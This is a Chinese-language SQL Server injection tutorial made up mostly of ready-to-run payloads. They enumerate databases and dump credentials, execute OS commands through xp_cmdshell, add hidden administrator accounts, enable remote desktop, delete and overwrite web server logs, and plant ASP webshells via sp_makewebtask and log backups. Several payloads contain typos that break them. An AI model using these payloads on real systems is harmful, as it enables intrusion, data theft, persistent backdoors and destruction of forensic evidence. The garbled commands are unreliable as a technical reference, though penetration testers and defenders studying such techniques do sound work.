目录 Table of Contents
12 SQL Server 注入详解
Mssql 介绍
自行百度
MSsql 服务, 端口, 后缀
1433 端口, 后缀是 .mdf, 日志文件后缀 .ldf
常见语句
创建数据库 : create database database-name
删除数据库 : drop database database-name
查询所有 : select * from 表名
数据库权限
sa : 数据库操作, 文件管理, 命令执行, 注册表读取等, 相当于 system 权限
db : 文件管理, 数据库操作等, 相当于 users-adminstrators
public : 数据库操作, 相当于 guest
MSsql数据库调用分析
调用数据库代码
<%
set conn=server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=;local;uid=sa;pwd=******;database=database.name
%>
其中, provider
后面的不用管, 照写; source
后面可以是 ip 地址, 这里用的是本地的; sa
是内置的用户, 它的密码是你在安装时设置的; database
后面是你要连接的数据库的名称, 不需要扩展名
Mssql 注入原理
注入语句
- 1.判断是否有注入
and 1=1
, and 1=2
, /
, -0
判断注入方法是一样的
- 2.初步判断是否是 mssql
and user>0
- 3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0
Access
- 4.注入参数是字符
and [查询条件] and "=
- 5.搜索时没过滤参数的
and [查询条件] and '%25'=
- 6.猜数表名
and (select Count(*) from [表名])>0
- 7.猜字段
and (select Count(字段名) from 表名)>0
- 8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
-
9.-
- (1)猜字段的 ASCII 值 (Access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
- (2)猜字段的 ASCII 值 (MSSQL)
and (selet top 1 unicode(substring(字段名,1,1)) from 表名)>0
-
10.测试权限结构 (MSSQL)
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_SRVROLEMEMBER('db_owner'));--
返回正常说明存在这个权限
- 11.添加 mssql 和系统的账户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
判断注入
测试站点 : http://testasp.vulnweb.com/showforum.asp?id=0
在加入 '
后报错, 改成 -0
后返回正常
获取数据库版本信息
id=1 and 1=(select @@version)
id=@@version
获取当前数据库名称
获取当前使用的数据库名称 :
id=1 and 1=(select db_name())
id=db_name()
获取用户数据库名称
获取第一个用户数据库 :
and 1=(select top1 name from master..sysdatabases where dbid>4)
因为前面 4 个数据库都划分给系统了, top 1 dbid>4 就是用户第一个数据库, 也就是第五个数据库
获取下一个用户数据库 :
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')
<> 是不等于
你直接大于 5 也可以 :
and 1=(select top1 name from master..sysdatabases where dbid>5)
以此类推, 就可以爆出所有数据库名称了
一键爆所有数据库名称 :
and 1=(select name from master..sysdatabases for xml path)
获取表名
获取第一张表 admin :
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
获取第二张表 :
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<> 'admin')
admin 是第一个表名
爆出所有表 :
id=1 and 1=(select name from sysobjects for xml path)
但是这个很难区分是哪一个数据库的表
获取列名
获取第一个列名 id :
id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin))
然后就是第二个列名 username :
id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin) and name<>'id')
获取第三个列名 password :
id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin) and name<>'id' and name<>'username)
获取表数据
获取第一个用户名 :
id=1 and 1=(select top 1 username from admin)
username 是上面第二个列名, admin 是上面第一个表名
上面语句原理就是利用数据库的查询代码一个个查
显错注入
Mssql 注入另类玩法
MSSQL 注入时用户权限分析
-
sa 权限
-
dbo
-
public
基本信息搜集
- 注入点判断
and 1=(select is_srvrolemember('sysadmin'))
判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner'))
判断是否是库权限
and 1=(select is_srvrolemember('public'))
判断是否是 public 权限
and 1=convert(int,db_name())
或 1=(select ad_name())
爆当前数据库名
and 1=(select @@servername)
爆本地服务器名
and 1=(select HAS_DBACCESS('master'))
判断是否有库读取权限
利用 MSSQL 扩展存储注入攻击
- 检测与恢复扩展存储
判断 xp_cmdshell 扩展存储是否存在
and 1=(select count(*)) from master.dbo.sysobjects where xtype ='x' AND name='xp_cmdshell')
判断 xp_regread 扩展存储过程是否存在
and 1=(select count(*)) from master.dbo.sysobjects where name='xp_regread')
恢复, 下面这两条命令就是把这个插件给它安装上
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell';1;RECONFIGURE
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
sa 权限下扩展存储攻击利用方法
-
利用 xp_cmdshell 扩展执行任意命令
-
查看 c 盘
;drop table black //首先看有没有这个表, 把它删除掉
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- //然后给它创建这么一个列
;insert into black exec master..xp_cmdshell'dir c:\' //把 CMD 命令执行结果写入到我们这个表里面
and 1=(select top 1 mulu from black where id=1) //查询这个表的列
- 创建用户
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
上面命令分号不能省
我们尝试创建用户, 发现报错
这种情况下, 我们就去工具包 数据管理
> sa 开启 xp_cmdshell.txt
, 里面列举了各种情况
- 添加和删除一个 sa 权限的用户 test : (需要 sa 权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
- 停掉或激活某个服务 : (需要 sa 权限)
exec master..xp_servicecontrol 'stop','服务名称'
exec master..xp_servicecontrol 'start','服务名称'
- 爆网站目录
create table labeng(lala nvarchar(255), id int)
创建一个表
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng)
或者 and 1=(select count(*) from labeng where lala>1)
其实最简单的就是用 dir
命令将其导入到某一个文件里, 然后查看这个文件就好了
- 删除日志记录
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'
- 替换日志记录
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
- 开启远程数据库 1
;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
- 开启远程数据库 2:
;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=0.0.0.0,1433;','select * from table')
打开 3389
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORD /d 0x0 /f'
允许外部连接
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'
改端口到 80, 不过这样网站就上不了了
我们可以端口转发, 或者上远控木马
利用 sp_makewebtask 写入一句话木马
;exec sp_makewebtask 'c:\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E"'--
http://mssql.sql.com\aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
你得知道网站的绝对路径, 你才可以写, 否则写不进去的
- 修改管理员密码
update admin set password=123123 where username='admin';
dbowner 权限下的扩展攻击利用
- 1.判断数据库用户权限
and 1=(select is_member('db_owner'));--
- 2.搜索 web 目录
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));--
然后
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtress 'c:',1,1--
and(select dir from temp where id=1)>0
由于不能一次性获取所有目录文件和文件夹名, 因此需要更改 ID 的值, 依次列出文件和文件夹
写入一句话木马
找到 web 目录后就可以写入一句话木马了
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str)values ('<%excute(request("cmd"))%>')--
;backup lof ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple
工具使用
穿山甲, 萝卜头, sqlmap 等
pangolin, getWebShell